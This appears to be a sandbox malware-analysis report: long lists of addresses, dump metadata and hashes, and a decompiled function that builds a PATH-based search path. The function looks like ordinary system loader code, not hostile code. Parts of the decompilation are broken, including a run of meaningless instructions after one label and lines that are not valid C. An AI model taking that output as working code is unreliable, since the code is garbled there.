0x00d5d6fb
0x00d5d6fd
0x00d5d701
0x00d5d703
0x00d5d70a
0x00d5d70a
0x00d5d701
0x00d5d710
0x00d5d710
0x00d5d6c1
0x00d5d6c1
0x00d5d6c6
0x00dab36d
0x00dab36f
0x00000000
0x00dab375
0x00dab375
0x00dab375
0x00000000
0x00dab375
0x00000000
0x00d5d6cc
0x00d5d6d8
0x00d5d6d8
0x00d5d6d8
0x00000000
0x00d5d6c6
0x00d5d6bf
0x00000000
0x00d5d6da
0x00d5d6da
0x00d5d716
0x00d5d71b
0x00d5d720
0x00d5d726
0x00d5d726
0x00d5d72d
0x00000000
0x00d5d733
0x00d5d739
0x00d5d742
0x00d5d750
0x00d5d758
0x00d5d764
0x00d5d776
0x00d5d77a
0x00d5d783
0x00d5d928
0x00d5d92c
0x00d5d93d
0x00d5d944
0x00d5d94f
0x00d5d954
0x00d5d956
0x00d5d95f
0x00d5d961
0x00d5d973
0x00d5d973
0x00d5d956
0x00d5d944
0x00d5d92c
0x00d5d78b
0x00dab394
0x00d5d791
0x00d5d798
0x00dab3a3
0x00dab3bb
0x00dab3bb
0x00d5d7a5
0x00d5d866
0x00d5d870
0x00d5d884
0x00d5d892
0x00d5d898
0x00d5d89e
0x00d5d8a0
0x00d5d8a6
0x00d5d8ac
0x00d5d8ae
0x00d5d8b4
0x00d5d8b4
0x00d5d8ae
0x00d5d7a5
0x00d5d78b
0x00d5d7b1
0x00dab3c5
0x00dab3c5
0x00d5d7c3
0x00d5d7ca
0x00d5d7e5
0x00d5d7eb
0x00d5d8eb
0x00d5d8ed
0x00000000
0x00d5d8f3
0x00d5d8f3
0x00d5d8f3
0x00000000
0x00d5d8ed
0x00d5d7cc
0x00d5d7cc
0x00d5d7d2
0x00000000
0x00d5d7d4
0x00d5d7d4
0x00d5d7d7
0x00d5d7df
0x00dab3d4
0x00dab3d9
0x00dab3dc
0x00dab3dc
0x00dab3df
0x00dab3e2
0x00dab468
0x00dab46d
0x00dab46f
0x00dab46f
0x00dab475
0x00d5d8f8
0x00d5d8f9
0x00d5d8fd
0x00dab3e8
0x00dab3e8
0x00dab3eb
0x00dab3ed
0x00000000
0x00dab3ef
0x00dab3ef
0x00dab3f1
0x00dab3f4
0x00dab3fe
0x00dab404
0x00dab409
0x00dab40e
0x00dab410
0x00dab410
0x00dab414
0x00dab414
0x00dab41b
0x00dab420
0x00dab423
0x00dab425
0x00dab427
0x00dab42a
0x00dab42d
0x00dab42d
0x00dab42a
0x00dab432
0x00dab436
0x00dab438
0x00dab43b
0x00dab43b
0x00dab449
0x00dab44e
0x00dab454
0x00dab458
0x00dab458
0x00dab45d
0x00000000
0x00dab45d
0x00dab3ed
0x00000000
0x00000000
0x00000000
0x00d5d7df
0x00d5d7d2
0x00d5d7ca
0x00dab37c
0x00dab37e
0x00dab385
0x00dab38a
0x00000000
0x00dab38a
0x00d5d742
0x00d5d7f1
0x00d5d7f8
0x00dab49b
0x00dab49b
0x00d5d800
0x00d5d837
0x00d5d843
0x00d5d845
0x00d5d847
0x00d5d84a
0x00d5d84b
0x00d5d84e
0x00d5d857
0x00d5d802
0x00d5d802
0x00d5d80d
0x00000000
0x00d5d818
0x00d5d818
0x00d5d824
0x00d5d831
0x00dab4a5
0x00dab4ab
0x00dab4b3
0x00dab4b8
0x00dab4bb
0x00000000
0x00dab4c1
0x00dab4c1
0x00dab4c8
0x00000000
0x00dab4ce
0x00dab4d4
0x00dab4e1
0x00dab4e3
0x00dab4e5
0x00000000
0x00dab4eb
0x00dab4f0
0x00dab4f2
0x00d5dac9
0x00d5dacc
0x00d5dacf
0x00d5dad1
0x00d5dd78
0x00d5dd78
0x00d5dcf2
0x00000000
0x00d5dad7
0x00d5dad9
0x00d5dadb
0x00000000
0x00000000
0x00d5dae1
0x00d5dae1
0x00d5dae4
0x00d5dae6
0x00dab4f9
0x00dab4f9
0x00dab500
0x00d5daec
0x00d5daec
0x00d5daf5
0x00d5daf8
0x00d5dafb
0x00d5db03
0x00d5db11
0x00d5db16
0x00d5db19
0x00d5db1b
0x00dab52c
0x00dab531
0x00dab534
0x00d5db21
0x00d5db21
0x00d5db24
0x00d5dcd9
0x00d5dce2
0x00d5dce5
0x00d5dd6a
0x00d5dd6d
0x00000000
0x00d5dd73
0x00dab51a
0x00dab51c
0x00dab51f
0x00dab524
0x00000000
0x00dab524
0x00d5dce7
0x00d5dce7
0x00d5dce7
0x00000000
0x00d5dce7
0x00000000
0x00d5db2a
0x00d5db2c
0x00d5db31
0x00d5db33
0x00d5db36
0x00d5db39
0x00d5db3b
0x00d5db66
0x00d5db66
0x00d5db3d
0x00d5db3d
0x00d5db3e
0x00d5db46
0x00d5db47
0x00d5db49
0x00d5db4c
0x00d5db53
0x00d5db55
0x00d5db58
0x00d5db5a
0x00dab50a
0x00dab50f
0x00dab512
0x00d5db60
0x00d5db60
0x00d5db63
0x00d5db63
0x00000000
0x00d5db63
0x00d5db5a
0x00d5db3b
0x00d5db24
0x00d5db69
0x00d5db69
0x00d5db6c
0x00d5db6f
0x00d5db74
0x00dab557
0x00dab557
0x00dab55e
0x00d5db7a
0x00d5db7c
0x00d5db7f
0x00d5db82
0x00d5db85
0x00000000
0x00d5db8b
0x00d5db8b
0x00d5db8d
0x00d5db9b
0x00d5db9b
0x00d5db9d
0x00d5dba0
0x00d5dba2
0x00d5dba4
0x00d5dba7
0x00d5dba9
0x00d5dbae
0x00d5dbae
0x00d5dbb1
0x00d5dbb4
0x00d5dbb4
0x00d5dbb7
0x00d5dbba
0x00d5dcd2
0x00d5dcd4
0x00000000
0x00d5dbc0
0x00d5dbc0
0x00d5dbd2
0x00d5dbd7
0x00d5dbda
0x00d5dbdd
0x00d5dbdf
0x00000000
0x00d5dbe5
0x00d5dbe5
0x00d5dbee
0x00d5dbf1
0x00dab541
0x00dab544
0x00000000
0x00dab546
0x00dab546
0x00000000
0x00dab546
0x00d5dbf7
0x00d5dbf7
0x00d5dbfd
0x00d5dbfd
0x00d5dbff
0x00d5dc0b
0x00d5dc15
0x00d5dc1b
0x00d5dc1d
0x00d5dc21
0x00d5dc21
0x00d5dc23
0x00d5dc23
0x00d5dc26
0x00d5dc29
0x00d5dc2b
0x00000000
0x00000000
0x00d5dc31
0x00d5dc34
0x00d5dc36
0x00d5dcbf
0x00d5dcbf
0x00d5dcc2
0x00000000
0x00d5dc3c
0x00d5dc41
0x00d5dc43
0x00000000
0x00d5dc45
0x00d5dc45
0x00d5dc47
0x00000000
0x00d5dc4d
0x00d5dc4d
0x00d5dc50
0x00d5dc52
0x00d5dc55
0x00d5dcfa
0x00d5dcfe
0x00d5dd08
0x00d5dd0a
0x00d5dd0c
0x00000000
0x00d5dd12
0x00d5dd15
0x00d5dd2d
0x00d5dd2f
0x00d5dd32
0x00d5dd35
0x00000000
0x00d5dd35
0x00d5dc5b
0x00d5dc5b
0x00d5dc5e
0x00d5dc61
0x00d5dc64
0x00d5dc67
0x00d5dc67
0x00d5dc6a
0x00d5dc6c
0x00d5dc8e
0x00d5dc8e
0x00d5dc91
0x00d5dc93
0x00d5dcce
0x00d5dcce
0x00d5dc95
0x00d5dc9c
0x00d5dc6e
0x00d5dc72
0x00d5dc75
0x00d5dc77
0x00d5dc79
0x00dab551
0x00dab551
0x00000000
0x00d5dc7f
0x00d5dc7f
0x00d5dc81
0x00000000
0x00d5dc83
0x00d5dc86
0x00d5dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x00d5dc88
0x00d5dc81
0x00d5dc79
0x00d5dc6c
0x00d5dc55
0x00d5dc47
0x00d5dc43
0x00000000
0x00d5dc36
0x00d5dc23
0x00000000
0x00d5dbff
0x00d5dbf1
0x00d5dbdf
0x00d5db8f
0x00d5db92
0x00d5db95
0x00000000
0x00000000
0x00000000
0x00000000
0x00d5db95
0x00d5db8d
0x00d5db85
0x00d5db74
0x00d5dc9f
0x00d5dca2
0x00d5dcb0
0x00d5dcb0
0x00d5dad1
0x00dab4e5
0x00dab4c8
0x00000000
0x00000000
0x00000000
0x00d5d831
0x00d5d80d
0x00000000
0x00d5d800
0x00dab47f
0x00dab485
0x00000000
0x00dab485
0x00d5d665
0x00d5d652
0x00000000

Strings

.x, xrefs: 00D5D69D

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: .x
API String ID: 0-2984797374
Opcode ID: 833619b06d2353a4eb9a63d2f132d6c1b3f4f00d229432817b36f5529a33c6a8
Instruction ID: 5a9e73ca1dd87dba70414ddd32f9e9d80655cb47b69d83477ea09badc20ca978
Opcode Fuzzy Hash: 833619b06d2353a4eb9a63d2f132d6c1b3f4f00d229432817b36f5529a33c6a8
Instruction Fuzzy Hash: 73E1C030A00359CFDF30DB24C854B69BBB2BF46315F18019AED4AA7292D7749D8ACB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D72581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00D72581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, intOrPtr _a35) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t240;
				signed int _t244;
				void* _t245;
				signed int _t251;
				signed int _t253;
				intOrPtr _t255;
				signed int _t258;
				signed int _t265;
				signed int _t268;
				signed int _t276;
				intOrPtr _t282;
				signed int _t284;
				signed int _t286;
				void* _t287;
				void* _t288;
				signed int _t290;
				signed int _t291;
				unsigned int _t294;
				signed int _t298;
				void* _t299;
				signed int _t300;
				signed int _t304;
				intOrPtr _t316;
				signed int _t325;
				signed int _t327;
				void* _t328;
				signed int _t329;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t338;
				signed int _t340;
				void* _t341;
				void* _t343;

				_t338 = _t340;
				_t341 = _t340 - 0x4c;
				_v8 =  *0xe3d360 ^ _t338;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t333 = 0xe3b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t294 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t282 = 0x48;
				_t314 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t325 = 0;
				_v37 = _t314;
				if(_v48 <= 0) {
					L16:
					_t45 = _t282 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t334 = 0xc0000106;
						goto L32;
					} else {
						_t333 = L00D64620(_t294,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t282);
						_v52 = _t333;
						__eflags = _t333;
						if(_t333 == 0) {
							_t334 = 0xc0000017;
							goto L32;
						} else {
							 *(_t333 + 0x44) =  *(_t333 + 0x44) & 0x00000000;
							_t50 = _t333 + 0x48; // 0x48
							_t327 = _t50;
							_t314 = _v32;
							 *((intOrPtr*)(_t333 + 0x3c)) = _t282;
							_t284 = 0;
							 *((short*)(_t333 + 0x30)) = _v48;
							__eflags = _t314;
							if(_t314 != 0) {
								 *(_t333 + 0x18) = _t327;
								__eflags = _t314 - 0xe38478;
								 *_t333 = ((0 | _t314 == 0x00e38478) - 0x00000001 & 0xfffffffb) + 7;
								E00D8F3E0(_t327,  *((intOrPtr*)(_t314 + 4)),  *_t314 & 0x0000ffff);
								_t314 = _v32;
								_t341 = _t341 + 0xc;
								_t284 = 1;
								__eflags = _a8;
								_t327 = _t327 + (( *_t314 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t276 = E00DD39F2(_t327);
									_t314 = _v32;
									_t327 = _t276;
								}
							}
							_t298 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t334 = _v68;
								__eflags = 0;
								 *((short*)(_t327 - 2)) = 0;
								goto L32;
							} else {
								_t286 = _t333 + _t284 * 4;
								_v56 = _t286;
								do {
									__eflags = _t314;
									if(_t314 != 0) {
										_t240 =  *(_v60 + _t298 * 4);
										__eflags = _t240;
										if(_t240 == 0) {
											goto L30;
										} else {
											__eflags = _t240 == 5;
											if(_t240 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t286 =  *(_v60 + _t298 * 4);
										 *(_t286 + 0x18) = _t327;
										_t244 =  *(_v60 + _t298 * 4);
										__eflags = _t244 - 8;
										if(_t244 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t244 * 4 +  &M00D72959))) {
												case 0:
													__ax =  *0xe38488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E00D8F3E0(__edi,  *0xe3848c, __ax & 0x0000ffff);
														__eax =  *0xe38488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E00D8F3E0(_t327, _v80, _v64);
													_t271 = _v64;
													goto L26;
												case 2:
													 *0xe38480 & 0x0000ffff = E00D8F3E0(__edi,  *0xe38484,  *0xe38480 & 0x0000ffff);
													__eax =  *0xe38480 & 0x0000ffff;
													__eax = ( *0xe38480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E00D8F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E00D8F3E0(_t327, _v76, _v36);
														_t271 = _v36;
													}
													L26:
													_t341 = _t341 + 0xc;
													_t327 = _t327 + (_t271 >> 1) * 2 + 2;
													__eflags = _t327;
													L27:
													_push(0x3b);
													_pop(_t273);
													 *((short*)(_t327 - 2)) = _t273;
													goto L28;
												case 6:
													__ebx =  *0xe3575c;
													__eflags = __ebx - 0xe3575c;
													if(__ebx != 0xe3575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E00D8F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0xe3575c;
														} while (__ebx != 0xe3575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0xe38478 & 0x0000ffff = E00D8F3E0(__edi,  *0xe3847c,  *0xe38478 & 0x0000ffff);
													__eax =  *0xe38478 & 0x0000ffff;
													__eax = ( *0xe38478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E00DD39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0xe36e58 & 0x0000ffff = E00D8F3E0(__edi,  *0xe36e5c,  *0xe36e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0xe36e58 & 0x0000ffff;
													__eax = ( *0xe36e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t298 = _v16;
													_t314 = _v32;
													L29:
													_t286 = _t286 + 4;
													__eflags = _t286;
													_v56 = _t286;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t298 = _t298 + 1;
									_v16 = _t298;
									__eflags = _t298 - _v48;
								} while (_t298 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t244 =  *(_v60 + _t325 * 4);
						if(_t244 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t244 * 4 +  &M00D72935))) {
							case 0:
								__ax =  *0xe38488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t314 =  &_v64;
								_v80 = E00D72E3E(0,  &_v64);
								_t282 = _t282 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0xe38480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xe38480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E00D5EEF0(0xe379a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E00D5EB70(__ecx, 0xe379a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t218 = _v72;
											__eflags = _t218;
											if(_t218 != 0) {
												L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t218);
											}
											_t219 = _v52;
											__eflags = _t219;
											if(_t219 != 0) {
												__eflags = _t334;
												if(_t334 < 0) {
													L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t219);
													_t219 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t294 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0xe37b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E00D5EB70(__ecx, 0xe379a0);
										__eax = _v52;
										L36:
										_pop(_t326);
										_pop(_t335);
										__eflags = _v8 ^ _t338;
										_pop(_t283);
										return E00D8B640(_t219, _t283, _v8 ^ _t338, _t314, _t326, _t335);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t278 = _v56;
								if(_v56 != 0) {
									_t314 =  &_v36;
									_t280 = E00D72E3E(_t278,  &_v36);
									_t294 = _v36;
									_v76 = _t280;
								}
								if(_t294 == 0) {
									goto L44;
								} else {
									_t282 = _t282 + 2 + _t294;
								}
								goto L14;
							case 6:
								__eax =  *0xe35764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0xe38478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xe38478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0xe36e58 & 0x0000ffff;
								__eax = ( *0xe36e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t325 = _t325 + 1;
								if(_t325 >= _v48) {
									goto L16;
								} else {
									_t314 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t299 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("xlatb");
					 *((intOrPtr*)(_t333 + 0x28)) =  *((intOrPtr*)(_t333 + 0x28)) + _t244;
					asm("xlatb");
					_t245 = _t244 + _t244;
					asm("daa");
					asm("xlatb");
					 *_t333 =  *_t333 + _t299;
					asm("es xlatb");
					 *((intOrPtr*)(_t333 + 0x28)) =  *((intOrPtr*)(_t333 + 0x28)) + _t245;
					asm("xlatb");
					 *0x1f00d726 =  *0x1f00d726 + _t245;
					_pop(_t287);
					asm("fild dword [eax]");
					_t246 = _t341;
					_t343 = _t245;
					_t288 = _t287 - _t314;
					 *0x200db5b =  *0x200db5b + _t314;
					_t328 = _t327 - _t314;
					 *((intOrPtr*)(_t246 - 0x9ff28d8)) =  *((intOrPtr*)(_t341 - 0x9ff28d8)) + _t341;
					asm("daa");
					asm("xlatb");
					 *_t333 =  *_t333 + _t288;
					 *((intOrPtr*)(_t333 + 0x28)) =  *((intOrPtr*)(_t333 + 0x28)) + _t299;
					asm("xlatb");
					_a35 = _a35 + _t288 - _t314;
					asm("xlatb");
					_pop(_t290);
					asm("fild dword [eax]");
					asm("xlatb");
					 *((intOrPtr*)(_t343 + _t290 * 2)) =  *((intOrPtr*)(_t343 + _t290 * 2)) + _t314;
					asm("fild dword [eax]");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0xe1ff00);
					E00D9D08C(_t290, _t328, _t333);
					_v44 =  *[fs:0x18];
					_t329 = 0;
					 *_a24 = 0;
					_t291 = _a12;
					__eflags = _t291;
					if(_t291 == 0) {
						_t251 = 0xc0000100;
					} else {
						_v8 = 0;
						_t336 = 0xc0000100;
						_v52 = 0xc0000100;
						_t253 = 4;
						while(1) {
							_v40 = _t253;
							__eflags = _t253;
							if(_t253 == 0) {
								break;
							}
							_t304 = _t253 * 0xc;
							_v48 = _t304;
							__eflags = _t291 -  *((intOrPtr*)(_t304 + 0xd21664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t268 = E00D8E5C0(_a8,  *((intOrPtr*)(_t304 + 0xd21668)), _t291);
									_t343 = _t343 + 0xc;
									__eflags = _t268;
									if(__eflags == 0) {
										_t336 = E00DC51BE(_t291,  *((intOrPtr*)(_v48 + 0xd2166c)), _a16, _t329, _t336, __eflags, _a20, _a24);
										_v52 = _t336;
										break;
									} else {
										_t253 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t253 = _t253 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t336;
						__eflags = _t336;
						if(_t336 < 0) {
							__eflags = _t336 - 0xc0000100;
							if(_t336 == 0xc0000100) {
								_t300 = _a4;
								__eflags = _t300;
								if(_t300 != 0) {
									_v36 = _t300;
									__eflags =  *_t300 - _t329;
									if( *_t300 == _t329) {
										_t336 = 0xc0000100;
										goto L76;
									} else {
										_t316 =  *((intOrPtr*)(_v44 + 0x30));
										_t255 =  *((intOrPtr*)(_t316 + 0x10));
										__eflags =  *((intOrPtr*)(_t255 + 0x48)) - _t300;
										if( *((intOrPtr*)(_t255 + 0x48)) == _t300) {
											__eflags =  *(_t316 + 0x1c);
											if( *(_t316 + 0x1c) == 0) {
												L106:
												_t336 = E00D72AE4( &_v36, _a8, _t291, _a16, _a20, _a24);
												_v32 = _t336;
												__eflags = _t336 - 0xc0000100;
												if(_t336 != 0xc0000100) {
													goto L69;
												} else {
													_t329 = 1;
													_t300 = _v36;
													goto L75;
												}
											} else {
												_t258 = E00D56600( *(_t316 + 0x1c));
												__eflags = _t258;
												if(_t258 != 0) {
													goto L106;
												} else {
													_t300 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t336 = E00D72C50(_t300, _a8, _t291, _a16, _a20, _a24, _t329);
											L76:
											_v32 = _t336;
											goto L69;
										}
									}
									goto L108;
								} else {
									E00D5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t336 = _a24;
									_t265 = E00D72AE4( &_v36, _a8, _t291, _a16, _a20, _t336);
									_v32 = _t265;
									__eflags = _t265 - 0xc0000100;
									if(_t265 == 0xc0000100) {
										_v32 = E00D72C50(_v36, _a8, _t291, _a16, _a20, _t336, 1);
									}
									_v8 = _t329;
									E00D72ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t251 = _t336;
					}
					L70:
					return E00D9D0D1(_t251);
				}
				L108:
			}

0x00d72584
0x00d72586
0x00d72590
0x00d72596
0x00d72597
0x00d72598
0x00d72599
0x00d7259e
0x00d725a4
0x00d725a9
0x00d725ac
0x00d725ae
0x00d725b1
0x00d725b2
0x00d725b5
0x00d725b8
0x00d725bb
0x00d725bc
0x00d725bf
0x00d725c2
0x00d725c5
0x00d725c6
0x00d725cb
0x00d725ce
0x00d725d8
0x00d725dd
0x00d725de
0x00d725e1
0x00d725e3
0x00d725e9
0x00d726da
0x00d726da
0x00d726dd
0x00d726e2
0x00db5b56
0x00000000
0x00d726e8
0x00d726f9
0x00d726fb
0x00d726fe
0x00d72700
0x00db5b60
0x00000000
0x00d72706
0x00d72706
0x00d7270a
0x00d7270a
0x00d7270d
0x00d72713
0x00d72716
0x00d72718
0x00d7271c
0x00d7271e
0x00db5b6c
0x00db5b6f
0x00db5b7f
0x00db5b89
0x00db5b8e
0x00db5b93
0x00db5b96
0x00db5b9c
0x00db5ba0
0x00db5ba3
0x00db5bab
0x00db5bb0
0x00db5bb3
0x00db5bb3
0x00db5ba3
0x00d72724
0x00d72726
0x00d72729
0x00d7272c
0x00d7279d
0x00d7279d
0x00d727a0
0x00d727a2
0x00000000
0x00d7272e
0x00d7272e
0x00d72731
0x00d72734
0x00d72734
0x00d72736
0x00db5bc1
0x00db5bc1
0x00db5bc4
0x00000000
0x00db5bca
0x00db5bca
0x00db5bcd
0x00000000
0x00db5bd3
0x00000000
0x00db5bd3
0x00db5bcd
0x00d7273c
0x00d7273c
0x00d72742
0x00d72747
0x00d7274a
0x00d7274d
0x00d72750
0x00000000
0x00d72756
0x00d72756
0x00000000
0x00d72902
0x00d72908
0x00d7290b
0x00000000
0x00d72911
0x00d7291c
0x00d72921
0x00000000
0x00d72921
0x00000000
0x00000000
0x00d72880
0x00d72887
0x00d7288c
0x00000000
0x00000000
0x00d72805
0x00d7280a
0x00d72814
0x00d72816
0x00000000
0x00000000
0x00d7281e
0x00d72821
0x00d72823
0x00000000
0x00d72829
0x00d72829
0x00d72831
0x00d7283c
0x00d7283e
0x00000000
0x00d7283e
0x00000000
0x00000000
0x00d7284e
0x00d72850
0x00d72851
0x00d72854
0x00d72857
0x00d7285a
0x00d7285c
0x00d7285d
0x00000000
0x00000000
0x00d7275d
0x00d72761
0x00000000
0x00d72767
0x00d7276e
0x00d72773
0x00d72773
0x00d72776
0x00d72778
0x00d7277e
0x00d7277e
0x00d72781
0x00d72781
0x00d72783
0x00d72784
0x00000000
0x00000000
0x00db5bd8
0x00db5bde
0x00db5be4
0x00db5be6
0x00db5be8
0x00db5be9
0x00db5bee
0x00db5bf8
0x00db5bff
0x00db5c01
0x00db5c04
0x00db5c07
0x00db5c0b
0x00db5c0d
0x00db5c0d
0x00db5c15
0x00db5c18
0x00db5c1b
0x00db5c1b
0x00db5c1e
0x00000000
0x00000000
0x00d728c3
0x00d728c8
0x00d728d2
0x00d728d4
0x00d728d8
0x00d728db
0x00db5c26
0x00db5c28
0x00db5c2d
0x00db5c2d
0x00000000
0x00000000
0x00db5c34
0x00db5c36
0x00db5c49
0x00db5c4e
0x00db5c54
0x00db5c5b
0x00db5c5d
0x00db5c60
0x00d72788
0x00d72788
0x00d7278b
0x00d7278e
0x00d7278e
0x00d7278e
0x00d72791
0x00000000
0x00000000
0x00d72756
0x00d72750
0x00000000
0x00d72794
0x00d72794
0x00d72795
0x00d72798
0x00d72798
0x00000000
0x00d72734
0x00d7272c
0x00d72700
0x00d725ef
0x00d725ef
0x00d725ef
0x00d725f2
0x00d725f8
0x00000000
0x00000000
0x00d725fe
0x00000000
0x00d728e6
0x00d728ec
0x00d728ef
0x00d728f5
0x00d728f8
0x00d728f8
0x00000000
0x00d728f8
0x00000000
0x00000000
0x00d72866
0x00d72866
0x00d72876
0x00d72879
0x00000000
0x00000000
0x00d727e0
0x00d727e7
0x00d727e9
0x00d727eb
0x00db5afd
0x00000000
0x00db5afd
0x00000000
0x00000000
0x00d72633
0x00d72638
0x00d7263b
0x00d7263c
0x00d7263e
0x00d72640
0x00d72642
0x00d72647
0x00d72649
0x00d7264e
0x00d72650
0x00d72653
0x00d72659
0x00d726a2
0x00d726a7
0x00d726ac
0x00d726b2
0x00db5b11
0x00db5b15
0x00db5b17
0x00000000
0x00d726b8
0x00d726b8
0x00d726ba
0x00d727a6
0x00d727a6
0x00d727a9
0x00d727ab
0x00d727b9
0x00d727b9
0x00d727be
